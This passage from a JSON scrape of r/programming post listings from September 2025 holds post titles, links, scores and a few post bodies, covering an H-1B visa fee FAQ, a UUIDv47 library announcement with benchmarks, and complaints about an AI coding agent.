  "upvoteRatio": 0.45,
  "numComments": 1,
  "createdAt": "2025-09-24T08:51:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://aibodh.com/posts/bevy-rust-game-development-chapter-1/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nostrl",
  "url": "https://aartaka.me/select-text.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1nostrl/just_let_me_select_text/",
  "title": "Just Let Me Select Text",
  "body": null,
  "author": "aartaka",
  "subreddit": "programming",
  "score": 507,
  "upvoteRatio": 0.93,
  "numComments": 228,
  "createdAt": "2025-09-23T20:43:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://aartaka.me/select-text.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nonal1",
  "url": "https://www.crunchydata.com/blog/the-postgres-project-original-goals-and-how-the-creators-totally-nailed-it",
  "permalink": "https://www.reddit.com/r/programming/comments/1nonal1/postgres_original_project_goals_the_creators/",
  "title": "Postgres’ Original Project Goals: The Creators Totally Nailed It",
  "body": null,
  "author": "craigkerstiens",
  "subreddit": "programming",
  "score": 352,
  "upvoteRatio": 0.96,
  "numComments": 77,
  "createdAt": "2025-09-23T17:13:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.crunchydata.com/blog/the-postgres-project-original-goals-and-how-the-creators-totally-nailed-it",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nomsqf",
  "url": "https://infrequently.org/2025/09/cupertinos-comforting-myths/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nomsqf/awash_in_revisionist_histories_about_apples_web/",
  "title": "Awash in revisionist histories about Apple's web efforts, a look at the evidence",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.63,
  "numComments": 23,
  "createdAt": "2025-09-23T16:55:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://infrequently.org/2025/09/cupertinos-comforting-myths/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nodhc9",
  "url": "https://ewaldbenes.com/en/blog/why-i-keep-business-logic-out-of-sql",
  "permalink": "https://www.reddit.com/r/programming/comments/1nodhc9/sql_is_for_data_not_for_logic/",
  "title": "SQL Is for Data, Not for Logic",
  "body": null,
  "author": "ewaldbenes",
  "subreddit": "programming",
  "score": 407,
  "upvoteRatio": 0.79,
  "numComments": 349,
  "createdAt": "2025-09-23T10:13:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ewaldbenes.com/en/blog/why-i-keep-business-logic-out-of-sql",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1noazbb",
  "url": "https://pvs-studio.com/en/blog/posts/java/1287/",
  "permalink": "https://www.reddit.com/r/programming/comments/1noazbb/owasp_top_ten_2021_explained_with_simple_java/",
  "title": "OWASP Top Ten 2021 explained with simple Java examples and SAST insights",
  "body": null,
  "author": "Xaneris47",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2025-09-23T07:27:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pvs-studio.com/en/blog/posts/java/1287/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nnxyhy",
  "url": "https://github.com/johnousterhout/aposd-vs-clean-code",
  "permalink": "https://www.reddit.com/r/programming/comments/1nnxyhy/a_discussion_between_john_ousterhout_and_robert/",
  "title": "A discussion between John Ousterhout and Robert Martin",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.59,
  "numComments": 10,
  "createdAt": "2025-09-22T20:40:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/johnousterhout/aposd-vs-clean-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nno8qn",
  "url": "https://blog.yossarian.net/2025/09/22/dear-github-no-yaml-anchors",
  "permalink": "https://www.reddit.com/r/programming/comments/1nno8qn/dear_github_no_yaml_anchors_please/",
  "title": "Dear GitHub: no YAML anchors, please",
  "body": null,
  "author": "GarethX",
  "subreddit": "programming",
  "score": 411,
  "upvoteRatio": 0.9,
  "numComments": 225,
  "createdAt": "2025-09-22T14:37:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.yossarian.net/2025/09/22/dear-github-no-yaml-anchors",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nnnvlo",
  "url": "https://anniemueller.com/posts/how-i-a-non-developer-read-the-tutorial-you-a-developer-wrote-for-me-a-beginner",
  "permalink": "https://www.reddit.com/r/programming/comments/1nnnvlo/how_i_a_nondeveloper_read_the_tutorial_you_a/",
  "title": "How I, a non-developer, read the tutorial you, a developer, wrote for me, a beginner",
  "body": null,
  "author": "pysk00l",
  "subreddit": "programming",
  "score": 295,
  "upvoteRatio": 0.79,
  "numComments": 136,
  "createdAt": "2025-09-22T14:23:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://anniemueller.com/posts/how-i-a-non-developer-read-the-tutorial-you-a-developer-wrote-for-me-a-beginner",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nnln86",
  "url": "https://www.anirudhsathiya.com/blog/Netflix-livestreaming",
  "permalink": "https://www.reddit.com/r/programming/comments/1nnln86/netflixs_livestreaming_disaster_the_engineering/",
  "title": "Netflix's Livestreaming Disaster: The Engineering Challenge of Streaming at Scale",
  "body": null,
  "author": "Ani171202",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.54,
  "numComments": 9,
  "createdAt": "2025-09-22T12:52:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.anirudhsathiya.com/blog/Netflix-livestreaming",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nmqonp",
  "url": "https://brianmckenna.org/blog/howtostopfp",
  "permalink": "https://www.reddit.com/r/programming/comments/1nmqonp/how_to_stop_functional_programming/",
  "title": "How to stop functional programming",
  "body": null,
  "author": "hexaredecimal",
  "subreddit": "programming",
  "score": 446,
  "upvoteRatio": 0.81,
  "numComments": 506,
  "createdAt": "2025-09-21T12:29:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://brianmckenna.org/blog/howtostopfp",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nm3ath",
  "url": "https://ashvardanian.com/posts/stringwars-on-gpus/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nm3ath/processing_strings_109x_faster_than_nvidia_on_h100/",
  "title": "Processing Strings 109x Faster than Nvidia on H100",
  "body": null,
  "author": "ShortFirefighter4877",
  "subreddit": "programming",
  "score": 289,
  "upvoteRatio": 0.96,
  "numComments": 16,
  "createdAt": "2025-09-20T16:53:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ashvardanian.com/posts/stringwars-on-gpus/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nm2u3h",
  "url": "https://nmn.gl/blog/vibe-coding-gambling",
  "permalink": "https://www.reddit.com/r/programming/comments/1nm2u3h/vibe_coding_is_creating_braindead_coders/",
  "title": "Vibe Coding Is Creating Braindead Coders",
  "body": null,
  "author": "Enigma_1769",
  "subreddit": "programming",
  "score": 1780,
  "upvoteRatio": 0.92,
  "numComments": 303,
  "createdAt": "2025-09-20T16:34:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nmn.gl/blog/vibe-coding-gambling",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nlungu",
  "url": "https://www.finalroundai.com/blog/trump-h1b-visa-fee-2025-impact-on-developers",
  "permalink": "https://www.reddit.com/r/programming/comments/1nlungu/the_100000_h1b_fee_that_just_made_us_developers/",
  "title": "The $100,000 H-1B Fee That Just Made U.S. Developers Competitive Again",
  "body": null,
  "author": "marknathon",
  "subreddit": "programming",
  "score": 1638,
  "upvoteRatio": 0.7,
  "numComments": 840,
  "createdAt": "2025-09-20T10:27:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.finalroundai.com/blog/trump-h1b-visa-fee-2025-impact-on-developers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nlsm0z",
  "url": "https://www.youtube.com/watch?v=SVATc3AjlMk",
  "permalink": "https://www.reddit.com/r/programming/comments/1nlsm0z/an_extensive_faq_on_trumps_announcement_about_h1b/",
  "title": "An extensive FAQ on Trump's announcement about H1-B visas - What, Why and impct on families",
  "body": "What is this announcement about?\n\nThe H-1B program offers 65,000 visas annually to employers for temporary foreign workers in specialized fields, plus 20,000 for workers with advanced degrees. President Trump signed a proclamation imposing an annual $100,000 fee per H-1B visa. The goal is to encourage training and hiring of American workers instead of bringing foreign workers taking jobs.\n\n* **Who is impacted?** Employers hiring H-1B workers face a large fee increase ($100,000 per year per visa), which could discourage hiring lower-skilled tech workers. The proclamation does not impact students on F1, J1 visas, OPT, visitor visas (B1, B2), other visas, or immigrant visas including Green Cards.\n* **How does this impact foreign students in America?** It does not directly impact students on F1, M-1, J1, or OPT visas, but the dream of staying and working in the U.S. is affected. Employers will be reluctant to pay the $100,000 fee unless the graduate is exceptional.\n* **How does this impact employers hiring H-1B workers?**The cost for employers rises by $100,000 annually per worker. Large companies like Amazon, Microsoft, and Meta already use large numbers of H-1B visas, so this significantly increases their expenses.\n* **How does this impact software services companies?** Offshore IT and service companies that send workers to the U.S. on H-1B visas are affected because the cost model changes with the new fee, impacting their business.\n* **How does it impact existing H-1B visa holders?** The announcement is unclear on existing visa holders, but companies are cautious. Renewals will be more expensive, and students on OPT looking for work visas might feel the impact.\n* **Do H-1B candidates need to be exceptional?** Yes, companies now must spend significantly more (potentially half a million dollars over 4-5 years on fees, in addition to salaries) to sponsor H-1B workers, so candidates need to be exceptional to justify this cost.\n* **Will this impact offshore IT jobs?** Currently, offshore jobs may not be directly impacted, though companies sending workers offshore will see an impact. Global Competency Centers (GCCs) may also feel effects.\n* **Why now?** This move is supported by leaders of top tech companies to boost domestic investment in AI and technology. Trump emphasized hiring more American workers and training them. The fee penalty aims to make companies reconsider hiring foreign workers long term.\n\nEdit - I see 50% downvotes ... shooting the messnenger here or the policy?",
  "author": "Mo_h",
  "subreddit": "programming",
  "score": 575,
  "upvoteRatio": 0.81,
  "numComments": 371,
  "createdAt": "2025-09-20T08:19:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=SVATc3AjlMk",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nlqi0c",
  "url": "https://economictimes.indiatimes.com/nri/work/microsoft-urges-h-1b-visa-holders-to-stay-in-us-for-foreseeable-future-after-trump-announces-100000-visa-fee/articleshow/124009637.cms?from=mdr",
  "permalink": "https://www.reddit.com/r/programming/comments/1nlqi0c/microsoft_asks_all_its_foreign_staff_to_return_to/",
  "title": "Microsoft asks all its foreign staff to return to US by Sunday after Trump's H1-B bombshell",
  "body": null,
  "author": "balianone",
  "subreddit": "programming",
  "score": 9161,
  "upvoteRatio": 0.96,
  "numComments": 1323,
  "createdAt": "2025-09-20T06:07:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://economictimes.indiatimes.com/nri/work/microsoft-urges-h-1b-visa-holders-to-stay-in-us-for-foreseeable-future-after-trump-announces-100000-visa-fee/articleshow/124009637.cms?from=mdr",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nlirwd",
  "url": "https://lwn.net/Articles/1034603/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nlirwd/tracking_trust_with_rust_in_the_kernel/",
  "title": "Tracking trust with Rust in the kernel",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 0,
  "createdAt": "2025-09-19T23:27:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lwn.net/Articles/1034603/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nlimnf",
  "url": "https://mostlynerdless.de/blog/2025/09/19/how-to-waste-cpu-like-a-professional/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nlimnf/how_to_waste_cpu_like_a_professional/",
  "title": "How to waste CPU like a Professional",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 0,
  "createdAt": "2025-09-19T23:21:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mostlynerdless.de/blog/2025/09/19/how-to-waste-cpu-like-a-professional/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nkg6ph",
  "url": "https://deno.com/blog/javascript-tm-gofundme",
  "permalink": "https://www.reddit.com/r/programming/comments/1nkg6ph/deno_is_raising_200k_for_the_legal_fight_to_free/",
  "title": "Deno is raising $200k for the legal fight to free the JavaScript trademark from Oracle",
  "body": null,
  "author": "waldyrious",
  "subreddit": "programming",
  "score": 2353,
  "upvoteRatio": 0.97,
  "numComments": 214,
  "createdAt": "2025-09-18T18:26:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://deno.com/blog/javascript-tm-gofundme",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nkftzk",
  "url": "https://elijahpotter.dev/articles/demos_make_life_worth_living",
  "permalink": "https://www.reddit.com/r/programming/comments/1nkftzk/demos_make_life_worth_living/",
  "title": "Demos Make Life Worth Living",
  "body": null,
  "author": "ChiliPepperHott",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 0,
  "createdAt": "2025-09-18T18:13:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://elijahpotter.dev/articles/demos_make_life_worth_living",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nkd523",
  "url": "https://codely.com/en/blog/how-to-test-mcp-servers",
  "permalink": "https://www.reddit.com/r/programming/comments/1nkd523/how_to_test_mcp_servers/",
  "title": "How to Test MCP Servers",
  "body": null,
  "author": "rgomezcasas",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 1,
  "createdAt": "2025-09-18T16:33:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codely.com/en/blog/how-to-test-mcp-servers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nk8dmc",
  "url": "https://old.reddit.com/r/replit/comments/1nidmhr/ongoing_agent_3_feedback_megathread/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nk8dmc/the_agent_kept_working_for_more_than_an_hour_at_a/",
  "title": "\"The agent kept “working” for more than an hour at a time without ever reaching a solution. Worse, instead of fixing the bug, it started introducing regressions and damaging the project, at one point even deleting a critical file like storage.\"",
  "body": null,
  "author": "grauenwolf",
  "subreddit": "programming",
  "score": 497,
  "upvoteRatio": 0.93,
  "numComments": 159,
  "createdAt": "2025-09-18T13:31:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://old.reddit.com/r/replit/comments/1nidmhr/ongoing_agent_3_feedback_megathread/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nk7ywk",
  "url": "https://www.theregister.com/2025/09/18/replit_agent3_pricing/?utm_source=fark&utm_medium=website&utm_content=link&ICID=ref_fark",
  "permalink": "https://www.reddit.com/r/programming/comments/1nk7ywk/replit_infuriating_customers_with_surprise_cost/",
  "title": "Replit infuriating customers with surprise cost overruns - What happens when AI becomes essential and unaffordable?",
  "body": null,
  "author": "grauenwolf",
  "subreddit": "programming",
  "score": 383,
  "upvoteRatio": 0.9,
  "numComments": 214,
  "createdAt": "2025-09-18T13:14:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2025/09/18/replit_agent3_pricing/?utm_source=fark&utm_medium=website&utm_content=link&ICID=ref_fark",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nk2odv",
  "url": "https://blog.dochia.dev/blog/openapi-single-source/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nk2odv/openapi_as_a_single_source_of_truth/",
  "title": "OpenAPI as a Single Source of Truth",
  "body": null,
  "author": "ludovicianul",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 9,
  "createdAt": "2025-09-18T08:24:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.dochia.dev/blog/openapi-single-source/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1njzx0o",
  "url": "https://triangulatedexistence.mataroa.blog/blog/i-uncovered-an-acpi-bug-in-my-dell-inspiron-5667-it-was-plaguing-me-for-8-years/",
  "permalink": "https://www.reddit.com/r/programming/comments/1njzx0o/i_uncovered_an_acpi_bug_in_my_dell_inspiron_5567/",
  "title": "I uncovered an ACPI bug in my Dell Inspiron 5567. It was plaguing me for 8 years.",
  "body": null,
  "author": "lonelyroom-eklaghor",
  "subreddit": "programming",
  "score": 427,
  "upvoteRatio": 0.97,
  "numComments": 51,
  "createdAt": "2025-09-18T05:30:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://triangulatedexistence.mataroa.blog/blog/i-uncovered-an-acpi-bug-in-my-dell-inspiron-5667-it-was-plaguing-me-for-8-years/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1njovoh",
  "url": "https://webassembly.org/news/2025-09-17-wasm-3.0/",
  "permalink": "https://www.reddit.com/r/programming/comments/1njovoh/wasm_30_completed/",
  "title": "Wasm 3.0 Completed",
  "body": null,
  "author": "segv",
  "subreddit": "programming",
  "score": 331,
  "upvoteRatio": 0.96,
  "numComments": 88,
  "createdAt": "2025-09-17T20:49:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://webassembly.org/news/2025-09-17-wasm-3.0/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1njl5rw",
  "url": "https://medium.com/@itsvksharma_/the-story-of-a-genius-who-built-his-own-world-on-a-computer-remembering-terry-a-davis-d66f8cada815",
  "permalink": "https://www.reddit.com/r/programming/comments/1njl5rw/one_man_built_an_entire_operating_system_from/",
  "title": "One man built an entire operating system from scratch, because he believed God told him to.",
  "body": "One man wrote an entire operating system from scratch because he believed God told him to. Terry Davis’s TempleOS is equal parts genius and tragedy. I wrote about his story, check it out if you want to know more about him.",
  "author": "narutomax",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.6,
  "numComments": 34,
  "createdAt": "2025-09-17T18:27:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@itsvksharma_/the-story-of-a-genius-who-built-his-own-world-on-a-computer-remembering-terry-a-davis-d66f8cada815",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1njebn0",
  "url": "https://github.com/stateless-me/uuidv47",
  "permalink": "https://www.reddit.com/r/programming/comments/1njebn0/uuidv47_keep_v7_in_your_db_emit_v4_outside/",
  "title": "UUIDv47: keep v7 in your DB, emit v4 outside (SipHash-masked timestamp)",
  "body": "Hi, I’m the author of **uuidv47**. The idea is simple: keep **UUIDv7** internally for database indexing and sortability, but emit **UUIDv4-looking façades** externally so clients don’t see timing patterns.\n\nHow it works: the 48-bit timestamp is XOR-masked with a keyed **SipHash-2-4** stream derived from the UUID’s random field. The random bits are preserved, the version flips between 7 (inside) and 4 (outside), and the RFC variant is kept. The mapping is injective: `(ts, rand) → (encTS, rand)`. Decode is just `encTS ⊕ mask`, so round-trip is exact.\n\nSecurity: SipHash is a PRF, so observing façades doesn’t leak the key. Wrong key = wrong timestamp. Rotation can be done with a key-ID outside the UUID.\n\nPerformance: one SipHash over 10 bytes + a couple of 48-bit loads/stores. Nanosecond overhead, header-only C89, no deps, allocation-free.\n\nTests: SipHash reference vectors, round-trip encode/decode, and version/variant invariants.\n\nCurious to hear feedback!\n\n**EDIT1:** **The Postgres extension is available.**\n\nIt currently supports around 95% of common use cases and index types (B-trees, BRIN, etc.), but the test coverage still needs improvement and review. The extension is functional, but it’s still in an early stage of maturity.\n\n**EDIT2: The benchmark on M1(C):**\n\n    iters=2000000, warmup=1, rounds=3\n    [warmup] 34.89 ns/op\n    [encode+decode] round 1: 33.80 ns/op, 29.6 Mops/s\n    [encode+decode] round 2: 38.16 ns/op, 26.2 Mops/s\n    [encode+decode] round 3: 33.33 ns/op, 30.0 Mops/s\n    [warmup] 14.83 ns/op\n    [siphash(10B)] round 1: 14.88 ns/op, 67.2 Mops/s\n    [siphash(10B)] round 2: 15.45 ns/op, 64.7 Mops/s\n    [siphash(10B)] round 3: 15.00 ns/op, 66.7 Mops/s\n    == best results ==\n    encode+decode : 33.00 ns/op (30.3 Mops/s)\n    siphash(10B)  : 14.00 ns/op (71.4 Mops/s)",
  "author": "aabbdev",
  "subreddit": "programming",
  "score": 339,
  "upvoteRatio": 0.87,
  "numComments": 131,
  "createdAt": "2025-09-17T14:14:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/stateless-me/uuidv47",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1njauz5",
  "url": "https://www.darrenhorrocks.co.uk/why-event-driven-systems-are-not-that-hard/",
  "permalink": "https://www.reddit.com/r/programming/comments/1njauz5/why_event_driven_systems_are_not_that_hard/",
  "title": "Why Event Driven Systems Are Not That Hard",
  "body": null,
  "author": "bizzehdee",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 3,
  "createdAt": "2025-09-17T11:45:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.darrenhorrocks.co.uk/why-event-driven-systems-are-not-that-hard/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nj9zi2",
  "url": "https://leaddev.com/ai/ai-coding-assistants-are-twice-as-verbose-as-stack-overflow",
  "permalink": "https://www.reddit.com/r/programming/comments/1nj9zi2/chatgpt_is_twice_as_chatty_as_stack_overflow_that/",
  "title": "ChatGPT is twice as chatty as Stack Overflow. That could be a problem.",
  "body": "Researchers from Queen’s University analyzed 82,845 ChatGPT logs from the [WildChat corpus](https://wildchat.allen.ai/): the average model response was around 2,000 characters, compared to 836 for a typical [Stack Overflow](https://leaddev.com/technical-direction/how-stack-overflow-innovating-keep-ai-disruption) answer.   \n  \nBeyond just token usage implications, are coding assistants too verbose?",
  "author": "scarey102",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 20,
  "createdAt": "2025-09-17T11:00:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leaddev.com/ai/ai-coding-assistants-are-twice-as-verbose-as-stack-overflow",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nj4ogb",
  "url": "https://dgerrells.com/blog/how-fast-is-swift-heavy-metal-edition-feat-nardi",
  "permalink": "https://www.reddit.com/r/programming/comments/1nj4ogb/how_fast_is_swift_heavy_metal_edition_feat_nardi/",
  "title": "how fast is swift? Heavy Metal Edition (feat Nardi)",
  "body": "A friend said swift is fast now so I set out to give it a whirl in a particle simulation shoot out. I figured y'all will get a kick out of this.\n\ntldr; Swift is slower than rust but faster than js v8 on my m1 air and it has amazing SIMD instruction support.",
  "author": "Outrageous-guffin",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 11,
  "createdAt": "2025-09-17T05:30:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dgerrells.com/blog/how-fast-is-swift-heavy-metal-edition-feat-nardi",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nivpxn",
  "url": "https://victorwynne.com/swift-6-2/?utm_source=rProgramming",
  "permalink": "https://www.reddit.com/r/programming/comments/1nivpxn/swift_62_advances_the_language_meaningfully/",
  "title": "Swift 6.2 advances the language meaningfully",
  "body": null,
  "author": "victor_wynne",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.63,
  "numComments": 0,
  "createdAt": "2025-09-16T22:22:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://victorwynne.com/swift-6-2/?utm_source=rProgramming",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nirpfx",
  "url": "https://dayvster.com/blog/in-defense-of-cpp/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nirpfx/in_defense_of_c/",
  "title": "In Defense of C++",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 22,
  "createdAt": "2025-09-16T19:46:59.000Z",
